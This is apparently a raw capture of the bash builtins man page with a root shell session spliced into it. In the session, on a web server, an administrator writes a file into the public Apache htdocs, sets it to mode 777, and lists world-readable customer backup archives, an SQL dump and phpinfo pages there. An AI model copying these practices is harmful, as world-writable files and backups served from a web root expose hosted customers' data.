              One  line  is  read  from  the  standard input, or from the file
              descriptor fd supplied as an argument to the -u option, and  the
              first word is assigned to the first name, the second word to the
              second name, and so on, with leftover words and their  interven-
              ing  separators  assigned  to the last name.  If there are fewer
              words read from the input stream than names, the remaining names
              are  assigned  empty  values.  The characters in IFS are used to
              split the line into words.  The backslash character (\)  may  be
              used  to  remove any special meaning for the next character read
              and for line continuation.  Options, if supplied, have the  fol-
              lowing meanings:
              -a aname
                     The words are assigned to sequential indices of the array
                     variable aname, starting at 0.  aname is unset before any
                     new  values  are  assigned.   Other  name  arguments  are
                     ignored.
              -d delim
                     The first character of delim is  used  to  terminate  the
                     input line, rather than newline.
              -e     If the standard input is coming from a terminal, readline
                     (see READLINE above) is used to obtain the line.
              -n nchars
                     read returns after reading nchars characters rather  than
                     waiting for a complete line of input.
              -p prompt
                     Display prompt on standard error, without a trailing new-
                     line, before attempting to read any input.  The prompt is
                     displayed only if input is coming from a terminal.
              -r     Backslash does not act as an escape character.  The back-
                     slash is considered to be part of the line.  In  particu-
                     lar,  a  backslash-newline pair may not be used as a line
                     continuation.
              -s     Silent mode.  If input is coming from a terminal, charac-
                     ters are not echoed.
              -t timeout
                     Cause  read  to time out and return failure if a complete
                     line of input is not read within timeout  seconds.   This
                     option  has  no  effect if read is not reading input from
                     the terminal or a pipe.
              -u fd  Read input from file descriptor fd.

              If no names are supplied, the line read is assigned to the vari-
              able  REPLY.   The  return  code  is zero, unless end-of-file is
              encountered, read times out, or an invalid  file  descriptor  is
              supplied as the argument to -u.

       readonly [-apf] [name[=word] ...]
              The  given  names are marked readonly; the values of these names
              may not be changed by subsequent assignment.  If the  -f  option
              is  supplied,  the  functions  corresponding to the names are so
              marked.  The -a option restricts the variables to arrays.  If no
              name  arguments  are  given,  or if the -p option is supplied, a
              list of all readonly names is printed.   The  -p  option  causes
              output  to be displayed in a format that may be reused as input.
              If a variable name is followed by =word, the value of the  vari-
              able  is  set to word.  The return status is 0 unless an invalid
              option is encountered, one of the names is  not  a  valid  shell
              variable  name,  or  -f  is  supplied  with a name that is not a
              function.

       return [n]
              Causes a function to exit with the return value specified by  n.
              If  n  is omitted, the return status is that of the last command
              executed in the function body.  If used outside a function,  but
              during  execution  of  a  script  by the .  (source) command, it
              causes the shell to stop executing that script and return either
              n  or  the  exit  status of the last command executed within the
              script as the exit status of the  script.   If  used  outside  a
              function  and  not during execution of a script by ., the return
              status is false.  Any command associated with the RETURN trap is
              executed  before execution resumes after the function or script.

       set [--abefhkmnptuvxBCHP] [-o option] [arg ...]
              Without options, the name and value of each shell  variable  are
              displayed in a format that can be reused as input for setting or
              resetting the currently-set variables.  Read-only variables can-
              not  be  reset.  In posix mode, only shell variables are listed.
              The output is sorted according  to  the  current  locale.   When
              options  are specified, they set or unset shell attributes.  Any
              arguments remaining after the options are processed are  treated
              as  values  for  the  positional parameters and are assigned, in
              order, to $1, $2, ...  $n.  Options, if specified, have the fol-
              lowing meanings:
              -a      Automatically  mark  variables  and  functions which are
                      modified or created for export  to  the  environment  of
                      subsequent commands.
              -b      Report  the status of terminated background jobs immedi-
                      ately, rather than before the next primary prompt.  This
                      is effective only when job control is enabled.
              -e      Exit  immediately if a simple command (see SHELL GRAMMAR
                      above) exits with a non-zero status.  The shell does not
                      exit  if  the  command that fails is part of the command
                      list immediately following a  while  or  until  keyword,
                      part  of the test in an if statement, part of a && or ââ
                      list, or if the commandâs return value is being inverted
                      via  !.   A  trap on ERR, if set, is executed before the
                      shell exits.
              -f      Disable pathname expansion.
              -h      Remember the location of commands as they are looked  up
                      for execution.  This is enabled by default.
              -k      All  arguments  in the form of assignment statements are
                      placed in the environment for a command, not just  those
                      that precede the command name.
              -m      Monitor  mode.   Job control is enabled.  This option is
                      on by default for interactive  shells  on  systems  that
                      support  it  (see  JOB  CONTROL above).  Background pro-
                      cesses run in a separate process group and a  line  con-
                      taining  their exit status is printed upon their comple-
                      tion.
              -n      Read commands but do not execute them.  This may be used
                      to  check  a  shell  script  for syntax errors.  This is
                      ignored by interactive shells.
              -o option-name
                      The option-name can be one of the following:
                      allexport
                              Same as -a.
                      braceexpand
                              Same as -B.
                      emacs   Use an emacs-style command line  editing  inter-
                              face.  This is enabled by default when the shell
                              is interactive, unless the shell is started with
                              the --noediting option.
                      errtrace
                              Same as -E.
                      functrace
                              Same as -T.
                      errexit Same as -e.
                      hashall Same as -h.
                      histexpand
                              Same as -H.
                      history Enable command history, as described above under
                              HISTORY.  This option is on by default in inter-
                              active shells.
                      ignoreeof
                              The   effect   is   as   if  the  shell  command
                              ââIGNOREEOF=10ââ had been  executed  (see  Shell
                              Variables above).
                      keyword Same as -k.
                      monitor Same as -m.
                      noclobber
                              Same as -C.
                      noexec  Same as -n.
                      noglob  Same as -f.  nolog Currently ignored.
                      notify  Same as -b.
                      nounset Same as -u.
                      onecmd  Same as -t.
                      physical
                              Same as -P.
                      pipefail
                              If  set,  the  return value of a pipeline is the
                              value of the last (rightmost)  command  to  exit
                              with  a non-zero status, or zero if all commands
                              in the pipeline exit successfully.  This  option
                              is disabled by default.
                      posix   Change  the  behavior  of bash where the default
                              operation differs from  the  POSIX  standard  to
                              match the standard (posix mode).
                      privileged
                              Same as -p.
                      verbose Same as -v.
                      vi      Use a vi-style command line editing interface.
                      xtrace  Same as -x.
                      If -o is supplied with no option-name, the values of the
                      current options are printed.  If +o is supplied with  no
                      option-name,  a  series  of set commands to recreate the
                      current option settings is  displayed  on  the  standard
                      output.
              -p      Turn  on  privileged  mode.   In this mode, the $ENV and
                      $BASH_ENV files are not processed, shell  functions  are
                      not  inherited  from  the environment, and the SHELLOPTS
                      variable, if it appears in the environment, is  ignored.
                      If  the shell is started with the effective user (group)
                      id not equal to the real user (group)  id,  and  the  -p
                      option  is not supplied, these actions are taken and the
                      effective user id is set to the real user id.  If the -p
                      option  is supplied at startup, the effective user id is
                      not reset.  Turning this option off causes the effective
                      user  and group ids to be set to the real user and group
                      ids.
              -t      Exit after reading and executing one command.
              -u      Treat unset variables as an error when performing param-
                      eter  expansion.   If expansion is attempted on an unset
                      variable, the shell prints an error message, and, if not
                      interactive, exits with a non-zero status.
              -v      Print shell input lines as they are read.
              -x      After  expanding  each simple command, for command, case
                      command, select command, or arithmetic for command, dis-
                      play  the expanded value of PS4, followed by the command
                      and its expanded arguments or associated word list.
              -B      The shell performs brace expansion (see Brace  Expansion
                      above).  This is on by default.
              -C      If  set,  bash  does not overwrite an existing file with
                      the >, >&, and <> redirection operators.   This  may  be
                      overridden when creating output files by using the redi-
                      rection operator >| instead of >.
              -E      If set, any trap on ERR is inherited by shell functions,
                      command  substitutions,  and commands executed in a sub-
                      shell environment.  The ERR trap is normally not  inher-
                      ited in such cases.
              -H      Enable !  style history substitution.  This option is on
                      by default when the shell is interactive.
              -P      If set, the shell does not follow  symbolic  links  when
                      executing  commands  such  as cd that change the current
                      working  directory.   It  uses  the  physical  directory
                      structure instead.  By default, bash follows the logical
                      chain of  directories  when  performing  commands  which
                      change the current directory.
              -T      If  set,  any traps on DEBUG and RETURN are inherited by
                      shell functions,  command  substitutions,  and  commands
                      executed  in  a  subshell  environment.   The  DEBUG and
                      RETURN traps are normally not inherited in such cases.
              --      If no arguments follow this option, then the  positional
                      parameters are unset.  Otherwise, the positional parame-
                      ters are set to the args, even if  some  of  them  begin
                      with a -.
              -       Signal  the  end of options, cause all remaining args to
                      be assigned to the positional parameters.  The -x and -v
                      options are turned off.  If there are no args, the posi-
                      tional parameters remain unchanged.

              The options are off by default unless otherwise noted.  Using  +
              rather  than  -  causes  these  options  to  be turned off.  The
              options can also be specified as arguments to an  invocation  of
              the  shell.  The current set of options may be found in $-.  The
              return status is always true unless an invalid option is encoun-
              tered.

       shift [n]
              The  positional  parameters  from n+1 ... are renamed to $1 ....
              Parameters represented by the numbers  $#  down  to  $#-n+1  are
              unset.   n  must  be a non-negative number less than or equal to
              $#.  If n is 0, no parameters are changed.  If n is  not  given,
              it  is assumed to be 1.  If n is greater than $#, the positional
              parameters are not changed.  The return status is  greater  than
              zero if n is greater than $# or less than zero; otherwise 0.

       shopt [-pqsu] [-o] [optname ...]
              Toggle the values of variables controlling optional shell behav-
              ior.  With no options, or with the -p option, a list of all set-
              table options is displayed, with an indication of whether or not
              each is set.  The -p option causes output to be displayed  in  a
              form  that  may be reused as input.  Other options have the fol-
              lowing meanings:
              -s     Enable (set) each optname.
              -u     Disable (unset) each optname.
              -q     Suppresses normal output (quiet mode); the return  status
                     indicates  whether  the  optname  is  set  or  unset.  If
                     multiple optname arguments are given with -q, the  return
                     status is zero if all optnames are enabled; non-zero oth-
                     erwise.
              -o     Restricts the values of optname to be those  defined  for
                     the -o option to the set builtin.

              If  either  -s or -u is used with no optname arguments, the dis-
              play is limited to those options which are set or unset, respec-
              tively.   Unless otherwise noted, the shopt options are disabled
              (unset) by default.

              The return status when listing options is zero if  all  optnames
              are  enabled,  non-zero  otherwise.   When  setting or unsetting
              options, the return status is zero unless an optname  is  not  a
              valid shell option.

              The list of shopt options is:

              cdable_vars
                      If  set,  an  argument to the cd builtin command that is
                      not a directory is assumed to be the name of a  variable
                      whose value is the directory to change to.
              cdspell If set, minor errors in the spelling of a directory com-
                      ponent in a cd command will be  corrected.   The  errors
                      checked for are transposed characters, a missing charac-
                      ter, and one character too many.   If  a  correction  is
                      found,  the corrected file name is printed, and the com-
                      mand proceeds.  This option is only used by  interactive
                      shells.
              checkhash
                      If set, bash checks that a command found in the hash ta-
                      ble exists before trying to execute  it.   If  a  hashed
                      command  no  longer exists, a normal path search is per-
                      formed.
              checkwinsize
                      If set, bash checks the window size after  each  command
                      and,  if  necessary,  updates  the  values  of LINES and
                      COLUMNS.
              cmdhist If set, bash attempts to save all lines of  a  multiple-
                      line  command  in  the  same history entry.  This allows
                      easy re-editing of multi-line commands.
              dotglob If set, bash includes filenames beginning with a â.â  in
                      the results of pathname expansion.
              execfail
                      If set, a non-interactive shell will not exit if it can-
                      not execute the file specified as  an  argument  to  the
                      exec  builtin  command.   An  interactive shell does not
                      exit if exec fails.
              expand_aliases
                      If set, aliases are expanded as  described  above  under
                      ALIASES.  This option is enabled by default for interac-
                      tive shells.
              extdebug
                      If set,  behavior  intended  for  use  by  debuggers  is
                      enabled:
                      1.     The -F option to the declare builtin displays the
                             source file name and line number corresponding to
                             each function name supplied as an argument.
                      2.     If  the  command  run by the DEBUG trap returns a
                             non-zero value, the next command is  skipped  and
                             not executed.
                      3.     If  the  command  run by the DEBUG trap returns a
                             value of 2, and the shell is executing in a  sub-
                             routine  (a shell function or a shell script exe-
                             cuted by the . or source  builtins),  a  call  to
                             return is simulated.
                      4.     BASH_ARGC  and BASH_ARGV are updated as described
                             in their descriptions above.
                      5.     Function tracing is enabled:   command  substitu-
                             tion, shell functions, and subshells invoked with
                             ( command ) inherit the DEBUG and RETURN traps.
                      6.     Error tracing is enabled:  command  substitution,
                             shell  functions,  and  subshells  invoked with (
                             command ) inherit the ERROR trap.
              extglob If set, the extended pattern matching features described
                      above under Pathname Expansion are enabled.
              extquote
                      If  set,  $'string'  and  $"string" quoting is performed
                      within  ${parameter}  expansions  enclosed   in   double
                      quotes.  This option is enabled by default.
              failglob
                      If  set,  patterns  which fail to match filenames during
                      pathname expansion result in an expansion error.
              force_fignore
                      If set, the suffixes  specified  by  the  FIGNORE  shell
                      variable  cause words to be ignored when performing word
                      completion even if the ignored words are the only possi-
                      ble  completions.   See  SHELL  VARIABLES  above  for  a
                      description of  FIGNORE.   This  option  is  enabled  by
                      default.
              gnu_errfmt
                      If set, shell error messages are written in the standard
                      GNU error message format.
              histappend
                      If set, the history list is appended to the  file  named
                      by  the  value  of  the HISTFILE variable when the shell
                      exits, rather than overwriting the file.
              histreedit
                      If set, and readline is being used, a user is given  the
                      opportunity to re-edit a failed history substitution.
              histverify
                      If  set, and readline is being used, the results of his-
                      tory substitution are  not  immediately  passed  to  the
                      shell  parser.   Instead,  the  resulting line is loaded
                      into the readline editing buffer, allowing further modi-
                      fication.
              hostcomplete
                      If set, and readline is being used, bash will attempt to
                      perform hostname completion when a word containing  a  @
                      is   being  completed  (see  Completing  under  READLINE
                      above).  This is enabled by default.
              huponexit
                      If set, bash will send SIGHUP to all jobs when an inter-
                      active login shell exits.
              interactive_comments
                      If set, allow a word beginning with # to cause that word
                      and all remaining characters on that line to be  ignored
                      in  an  interactive  shell  (see  COMMENTS above).  This
                      option is enabled by default.
              lithist If set, and the cmdhist option  is  enabled,  multi-line
                      commands are saved to the history with embedded newlines
                      rather than using semicolon separators where possible.
              login_shell
                      The shell sets this option if it is started as  a  login
                      shell  (see  INVOCATION  above).   The  value may not be
                      changed.
              mailwarn
                      If set, and a file that bash is checking  for  mail  has
                      been  accessed  since  the last time it was checked, the
                      message ââThe mail in mailfile has been readââ  is  dis-
                      played.
              no_empty_cmd_completion
                      If  set,  and  readline  is  being  used,  bash will not
                      attempt to search the PATH for possible completions when
                      completion is attempted on an empty line.
              nocaseglob
                      If  set,  bash  matches  filenames in a case-insensitive
                      fashion when performing pathname expansion (see Pathname
                      Expansion above).
              nocasematch
                      If  set,  bash  matches  patterns  in a case-insensitive
                      fashion when performing matching while executing case or
                      [[ conditional commands.
              nullglob
                      If  set,  bash allows patterns which match no files (see
                      Pathname Expansion above) to expand to  a  null  string,
                      rather than themselves.
              progcomp
                      If set, the programm
root@click [~]# man history >  /usr/local/apache/htdocs/history_man_output.txt
root@click [~]# chmod 777 /usr/local/apache/htdocs/history_man_output.txt
root@click [~]# hostname
click.site.com
root@click [~]# cd /usr/local/apache/htdocs/
root@click [/usr/local/apache/htdocs]# ll
total 2804656
drwxr-xr-x  5 root root      4096 Dec 16 09:46 ./
drwxr-xr-x 16 root root      4096 Nov 29 15:32 ../
-rw-r--r--  1 root root       196 Apr  7  2010 400.shtml
-rw-r--r--  1 root root       174 Apr  7  2010 401.shtml
-rw-r--r--  1 root root       170 Apr  7  2010 403.shtml
-rw-r--r--  1 root root       171 Apr  7  2010 404.shtml
-rw-r--r--  1 root root       210 Apr  7  2010 500.shtml
-rw-------  1 root root   3983681 Apr  7  2010 backup-2.25.2010_20-00-07_golddust.tar.gz
-rwxrwxrwx  1 root root 380580983 Apr  7  2010 backup-6.18.2009_23-04-14_takorabt.tar.gz*
-rwxrwxrwx  1 root root      4158 Nov 29 16:32 check_exim*
-rw-r--r--  1 root root      2250 Apr  7  2010 cp_errordocument.shtml
-rwxrwxrwx  1 root root 105995719 Apr  7  2010 cpmove-bojoecom.tar.gz*
-rwxrwxrwx  1 root root  20188756 Sep 17 02:38 cpmove-brmconsu.tar.gz*
-rwxrwxrwx  1 root root  98951979 Oct 14 09:45 cpmove-conceptp.tar.gz*
-rwxrwxrwx  1 root root 261936456 Apr  7  2010 cpmove-cosmeti3.tar.gz*
-rwxrwxrwx  1 root root  47049368 Dec 11 22:27 cpmove-emodecom.tar.gz*
-rwxrwxrwx  1 root root  91780370 Oct 27 18:39 cpmove-giaorgau.tar.gz*
-rwxrwxrwx  1 root root 565217939 Oct 23 22:14 cpmove-gustavoh.tar.gz*
-rwxrwxrwx  1 root root     67074 Sep 21 23:01 cpmove-perucell.tar.gz*
-rwxr-xr-x  1 root root 836551159 Apr  7  2010 cpmove-theisoft.tar.gz*
drwxr-xr-x  3 root root      4096 Apr  7  2010 ea3_apache_build_htdocs/
-rwxrwxrwx  1 root root    120521 Apr  7  2010 getuggco_boutique.sql*
-rwxrwxrwx  1 root root    102167 Dec 16 09:46 history_man_output.txt*
-rw-r--r--  1 root root       111 Apr  7  2010 index.html
-rw-r--r--  1 root root      3477 Apr  7  2010 index_original.html
-rwxrwxrwx  1 root root 456164371 Apr  7  2010 kjca.tar*
-rwxrwxrwx  1 root root    295330 Apr  7  2010 mysql.tar.gz*
-rwxr-xr-x  1 root root        19 Apr  7  2010 phpinfo.php*
-rwxr-xr-x  1 root root        19 Apr  7  2010 _rvphpinfo.php*
-rw-r--r--  1 root root        29 Apr  7  2010 serverstats_inc.php
drwxr-xr-x  2 root root      4096 Apr  7  2010 suspended.page/
d---------  2 root root      4096 Apr  7  2010 test/
root@click [/usr/local/apache/htdocs]# du -sh history_man_output.txt*
104K    history_man_output.txt
root@click [/usr/local/apache/htdocs]# cp history_man_output.txt*
cp: missing destination file operand after `history_man_output.txt'
Try `cp --help' for more information.
root@click [/usr/local/apache/htdocs]# cp history_man_output.txt history_man_output.txt*
cp: `history_man_output.txt' and `history_man_output.txt' are the same file
root@click [/usr/local/apache/htdocs]# cp history_man_output.txt history_man_output.html
root@click [/usr/local/apache/htdocs]# cat history_man_output.txt
BASH_BUILTINS(1)                                              BASH_BUILTINS(1)



NAME
       bash,  :,  ., [, alias, bg, bind, break, builtin, cd, command, compgen,
       complete, continue, declare, dirs, disown, echo,  enable,  eval,  exec,
       exit,  export,  fc,  fg, getopts, hash, help, history, jobs, kill, let,
       local, logout, popd, printf, pushd, pwd, read, readonly,  return,  set,
       shift,  shopt,  source,  suspend,  test,  times,  trap,  type, typeset,
       ulimit, umask, unalias, unset,  wait  -  bash  built-in  commands,  see
       bash(1)

BASH BUILTIN COMMANDS
       Unless otherwise noted, each builtin command documented in this section
       as accepting options preceded by - accepts -- to signify the end of the
       options.   For  example,  the  :, true, false, and test builtins do not
       accept options.  Also, please note that while executing in non-interac-
       tive  mode  and  while  in  posix mode, any special builtin (like ., :,
       break, continue, eval,  exec,  exit,  export,  readonly,  return,  set,
       shift,  source,  times,  trap,  unset)  exiting  with a non-zero status
       causes the shell to stop execution.
       : [arguments]
              No effect; the command does nothing beyond  expanding  arguments
              and  performing any specified redirections.  A zero exit code is
              returned.

        .  filename [arguments]
       source filename [arguments]
              Read and execute commands from filename  in  the  current  shell
              environment  and return the exit status of the last command exe-
              cuted from filename.  If filename does not contain a slash, file
              names  in  PATH  are used to find the directory containing file-
              name.  The file searched for in PATH  need  not  be  executable.
              When  bash  is  not  in  posix  mode,  the  current directory is
              searched if no file is found in PATH.  If the sourcepath  option
              to  the  shopt  builtin  command  is turned off, the PATH is not
              searched.  If any arguments are supplied, they become the  posi-
              tional  parameters  when  filename  is  executed.  Otherwise the
              positional parameters are unchanged.  The return status  is  the
              status  of  the  last  command exited within the script (0 if no
              commands are executed), and false if filename is  not  found  or
              cannot be read.

       alias [-p] [name[=value] ...]
              Alias with no arguments or with the -p option prints the list of
              aliases in the form alias name=value on standard  output.   When
              arguments  are supplied, an alias is defined for each name whose
              value is given.  A trailing space in  value causes the next word
              to be checked for alias substitution when the alias is expanded.
              For each name in the argument list for which no  value  is  sup-
              plied,  the  name  and  value  of  the  alias is printed.  Alias
              returns true unless a name is given for which no alias has  been
              defined.

              Note  aliases  are  not  expanded  by default in non-interactive
              shell, and it can be enabled by setting the expand_aliases shell
              option using shopt.

       bg [jobspec ...]
              Resume  each  suspended  job jobspec in the background, as if it
              had been started with &.  If jobspec is not present, the shellâs
              notion  of the current job is used.  bg jobspec returns 0 unless
              run when job control is disabled or, when run with  job  control
              enabled,  any  specified  jobspec  was  not found or was started
              without job control.

       bind [-m keymap] [-lpsvPSV]
       bind [-m keymap] [-q function] [-u function] [-r keyseq]
       bind [-m keymap] -f filename
       bind [-m keymap] -x keyseq:shell-command
       bind [-m keymap] keyseq:function-name
       bind readline-command
              Display current readline key and function bindings, bind  a  key
              sequence  to  a  readline  function  or macro, or set a readline
              variable.  Each non-option argument is a  command  as  it  would
              appear  in  .inputrc, but each binding or command must be passed
              as a separate argument; e.g.,  â"\C-x\C-r":  re-read-init-fileâ.
              Options, if supplied, have the following meanings:
              -m keymap
                     Use keymap as the keymap to be affected by the subsequent
                     bindings.  Acceptable keymap names are emacs, emacs-stan-
                     dard,  emacs-meta,  emacs-ctlx,  vi, vi-move, vi-command,
                     and vi-insert.  vi is equivalent to vi-command; emacs  is
                     equivalent to emacs-standard.
              -l     List the names of all readline functions.
              -p     Display  readline  function  names and bindings in such a
                     way that they can be re-read.
              -P     List current readline function names and bindings.
              -v     Display readline variable names and values in such a  way
                     that they can be re-read.
              -V     List current readline variable names and values.
              -s     Display  readline  key  sequences bound to macros and the
                     strings they output in such a way that they  can  be  re-
                     read.
              -S     Display  readline  key  sequences bound to macros and the
                     strings they output.
              -f filename
                     Read key bindings from filename.
              -q function
                     Query about which keys invoke the named function.
              -u function
                     Unbind all keys bound to the named function.
              -r keyseq
                     Remove any current binding for keyseq.
              -x keyseq:shell-command
                     Cause shell-command to be  executed  whenever  keyseq  is
                     entered.

              The  return value is 0 unless an unrecognized option is given or
              an error occurred.

       break [n]
              Exit from within a for, while, until, or select loop.  If  n  is
              specified, break n levels.  n must be ⥠1.  If n is greater than
              the number of enclosing loops, all enclosing loops  are  exited.
              The  return  value  is  non-zero when n is ⤠0; Otherwise, break
              returns 0 value.

       builtin shell-builtin [arguments]
              Execute the specified shell builtin, passing it  arguments,  and
              return its exit status.  This is useful when defining a function
              whose name is the same as a shell builtin, retaining  the  func-
              tionality of the builtin within the function.  The cd builtin is
              commonly redefined this way.  The  return  status  is  false  if
              shell-builtin is not a shell builtin command.

       cd [-L|-P] [dir]
              Change  the  current directory to dir.  The variable HOME is the
              default dir.  The variable CDPATH defines the  search  path  for
              the  directory  containing  dir.  Alternative directory names in
              CDPATH are separated by a colon (:).  A null directory  name  in
              CDPATH  is  the  same as the current directory, i.e., ââ.ââ.  If
              dir begins with a slash (/), then CDPATH is  not  used.  The  -P
              option  says  to use the physical directory structure instead of
              following symbolic links (see also the  -P  option  to  the  set
              builtin command); the -L option forces symbolic links to be fol-
              lowed.  An argument of - is equivalent to $OLDPWD.   If  a  non-
              empty  directory  name from CDPATH is used, or if - is the first
              argument, and the directory change is successful,  the  absolute
              pathname of the new working directory is written to the standard
              output.  The return value is true if the directory was  success-
              fully changed; false otherwise.

       caller [expr]
              Returns the context of any active subroutine call (a shell func-
              tion or a script executed with the . or source builtins.   With-
              out expr, caller displays the line number and source filename of
              the current subroutine call.  If a non-negative integer is  sup-
              plied as expr, caller displays the line number, subroutine name,
              and source file corresponding to that position  in  the  current
              execution  call  stack.  This extra information may be used, for
              example, to print a stack trace.  The current frame is frame  0.
              The  return  value is 0 unless the shell is not executing a sub-
              routine call or expr does not correspond to a valid position  in
              the call stack.

       command [-pVv] command [arg ...]
              Run  command  with  args  suppressing  the normal shell function
              lookup. Only builtin commands or commands found in the PATH  are
              executed.   If the -p option is given, the search for command is
              performed using a default value for PATH that is  guaranteed  to
              find  all  of  the  standard  utilities.  If either the -V or -v
              option is supplied, a description of command is printed.  The -v
              option  causes a single word indicating the command or file name
              used to invoke command to be displayed; the -V option produces a
              more  verbose  description.  If the -V or -v option is supplied,
              the exit status is 0 if command was found, and  1  if  not.   If
              neither option is supplied and an error occurred or command can-
              not be found, the exit status is 127.  Otherwise, the exit  sta-
              tus of the command builtin is the exit status of command.

       compgen [option] [word]
              Generate  possible  completion matches for word according to the
              options, which may  be  any  option  accepted  by  the  complete
              builtin  with  the exception of -p and -r, and write the matches
              to the standard output.  When using the -F or  -C  options,  the
              various  shell  variables  set  by  the  programmable completion
              facilities, while available, will not have useful values.

              The matches will be generated in the same way  as  if  the  pro-
              grammable  completion  code  had  generated them directly from a
              completion specification with the same flags.  If word is speci-
              fied, only those completions matching word will be displayed.

              The  return  value is true unless an invalid option is supplied,
              or no matches were generated.

       complete [-abcdefgjksuv] [-o comp-option] [-A action] [-G globpat]  [-W
       wordlist] [-P prefix] [-S suffix]
              [-X filterpat] [-F function] [-C command] name [name ...]
       complete -pr [name ...]
              Specify how arguments to each name should be completed.  If  the
              -p  option  is supplied, or if no options are supplied, existing
              completion specifications are printed in a way that allows  them
              to be reused as input.  The -r option removes a completion spec-
              ification for each name, or, if no names are supplied, all  com-
              pletion specifications.

              The  process  of  applying  these completion specifications when
              word completion is  attempted  is  described  above  under  Pro-
              grammable Completion.

              Other  options,  if specified, have the following meanings.  The
              arguments to the -G, -W, and -X options (and, if necessary,  the
              -P  and -S options) should be quoted to protect them from expan-
              sion before the complete builtin is invoked.
              -o comp-option
                      The comp-option controls several aspects  of  the  comp-
                      specâs  behavior beyond the simple generation of comple-
                      tions.  comp-option may be one of:
                      bashdefault
                              Perform the rest of the default bash completions
                              if the compspec generates no matches.
                      default Use  readlineâs  default  filename completion if
                              the compspec generates no matches.
                      dirnames
                              Perform directory name completion if  the  comp-
                              spec generates no matches.
                      filenames
                              Tell  readline that the compspec generates file-
                              names, so it can perform  any  filename-specific
                              processing  (like  adding  a  slash to directory
                              names or suppressing trailing spaces).  Intended
                              to be used with shell functions.
                      nospace Tell   readline  not  to  append  a  space  (the
                              default) to words completed at the  end  of  the
                              line.
                      plusdirs
                              After  any  matches  defined by the compspec are
                              generated,   directory   name   completion    is
                              attempted  and  any  matches  are  added  to the
                              results of the other actions.
              -A action
                      The action may be one of the  following  to  generate  a
                      list of possible completions:
                      alias   Alias names.  May also be specified as -a.
                      arrayvar
                              Array variable names.
                      binding Readline key binding names.
                      builtin Names  of  shell  builtin commands.  May also be
                              specified as -b.
                      command Command names.  May also be specified as -c.
                      directory
                              Directory names.  May also be specified as -d.
                      disabled
                              Names of disabled shell builtins.
                      enabled Names of enabled shell builtins.
                      export  Names of exported shell variables.  May also  be
                              specified as -e.
                      file    File names.  May also be specified as -f.
                      function
                              Names of shell functions.
                      group   Group names.  May also be specified as -g.
                      helptopic
                              Help topics as accepted by the help builtin.
                      hostname
                              Hostnames,  as  taken from the file specified by
                              the HOSTFILE shell variable.
                      job     Job names, if job control is active.   May  also
                              be specified as -j.
                      keyword Shell  reserved words.  May also be specified as
                              -k.
                      running Names of running jobs, if job control is active.
                      service Service names.  May also be specified as -s.
                      setopt  Valid  arguments  for  the  -o option to the set
                              builtin.
                      shopt   Shell option names  as  accepted  by  the  shopt
                              builtin.
                      signal  Signal names.
                      stopped Names of stopped jobs, if job control is active.
                      user    User names.  May also be specified as -u.
                      variable
                              Names of all shell variables.  May also be spec-
                              ified as -v.
              -G globpat
                      The  filename  expansion  pattern globpat is expanded to
                      generate the possible completions.
              -W wordlist
                      The wordlist is split using the characters  in  the  IFS
                      special  variable as delimiters, and each resultant word
                      is expanded.  The possible completions are  the  members
                      of  the  resultant  list which match the word being com-
                      pleted.
              -C command
                      command is executed in a subshell environment,  and  its
                      output is used as the possible completions.
              -F function
                      The  shell  function function is executed in the current
                      shell environment.  When it finishes, the possible  com-
                      pletions  are  retrieved from the value of the COMPREPLY
                      array variable.
              -X filterpat
                      filterpat is a pattern as used for  filename  expansion.
                      It is applied to the list of possible completions gener-
                      ated by the preceding options and  arguments,  and  each
                      completion  matching filterpat is removed from the list.
                      A leading ! in filterpat negates the  pattern;  in  this
                      case,  any completion not matching filterpat is removed.
              -P prefix
                      prefix is added at the beginning of each  possible  com-
                      pletion after all other options have been applied.
              -S suffix
                      suffix is appended to each possible completion after all
                      other options have been applied.

              The return value is true unless an invalid option  is  supplied,
              an  option  other than -p or -r is supplied without a name argu-
              ment, an attempt is made to remove  a  completion  specification
              for a name for which no specification exists, or an error occurs
              adding a completion specification.

       continue [n]
              Resume the next iteration of the enclosing for, while, until, or
              select  loop.   If  n  is specified, resume at the nth enclosing
              loop.  n must be ⥠1.  If  n  is  greater  than  the  number  of
              enclosing  loops,  the  last  enclosing  loop (the ââtop-levelââ
              loop) is resumed.  When continue is executed inside of loop, the
              return  value  is  non-zero  when  n is ⤠0; Otherwise, continue
              returns 0 value.  When continue is executed outside of loop, the
              return value is 0.

       declare [-afFirtx] [-p] [name[=value] ...]
       typeset [-afFirtx] [-p] [name[=value] ...]
              Declare  variables and/or give them attributes.  If no names are
              given then display the values of variables.  The -p option  will
              display  the  attributes  and  values  of each name.  When -p is
              used, additional options are ignored.  The  -F  option  inhibits
              the  display of function definitions; only the function name and
              attributes are printed.  If the extdebug shell option is enabled
              using  shopt,  the  source  file  name and line number where the
              function is defined  are  displayed  as  well.   The  -F  option
              implies  -f.  The following options can be used to restrict out-
              put to variables with the specified attribute or to  give  vari-
              ables attributes:
              -a     Each name is an array variable (see Arrays above).
              -f     Use function names only.
              -i     The variable is treated as an integer; arithmetic evalua-
                     tion (see ARITHMETIC EVALUATION ) is performed  when  the
                     variable is assigned a value.
              -r     Make names readonly.  These names cannot then be assigned
                     values by subsequent assignment statements or unset.
              -t     Give each name the  trace  attribute.   Traced  functions
                     inherit  the  DEBUG  and  RETURN  traps  from the calling
                     shell.  The trace attribute has no  special  meaning  for
                     variables.
              -x     Mark  names  for  export  to  subsequent commands via the
                     environment.

              Using â+â instead of â-â turns off the attribute  instead,  with
              the  exception that +a may not be used to destroy an array vari-
              able.  When used in a function, makes each name local,  as  with
              the  local  command.   If a variable name is followed by =value,
              the value of the variable is set to value.  The return value  is
              0 unless an invalid option is encountered, an attempt is made to
              define a function using ââ-f foo=barââ, an attempt  is  made  to
              assign  a  value  to  a readonly variable, an attempt is made to
              assign a value to an array variable without using  the  compound
              assignment  syntax (see Arrays above), one of the names is not a
              valid shell variable name, an attempt is made to turn off  read-
              only  status for a readonly variable, an attempt is made to turn
              off array status for an array variable, or an attempt is made to
              display a non-existent function with -f.

       dirs [-clpv] [+n] [-n]
              Without  options,  displays  the  list  of  currently remembered
              directories.  The default display  is  on  a  single  line  with
              directory  names  separated by spaces.  Directories are added to
              the list with  the  pushd  command;  the  popd  command  removes
              entries from the list.
              +n     Displays the nth entry counting from the left of the list
                     shown by dirs when invoked without options, starting with
                     zero.
              -n     Displays  the  nth  entry  counting from the right of the
                     list shown by dirs when invoked without options, starting
                     with zero.
              -c     Clears  the  directory  stack  by  deleting  all  of  the
                     entries.
              -l     Produces a longer listing;  the  default  listing  format
                     uses a tilde to denote the home directory.
              -p     Print the directory stack with one entry per line.
              -v     Print  the  directory stack with one entry per line, pre-
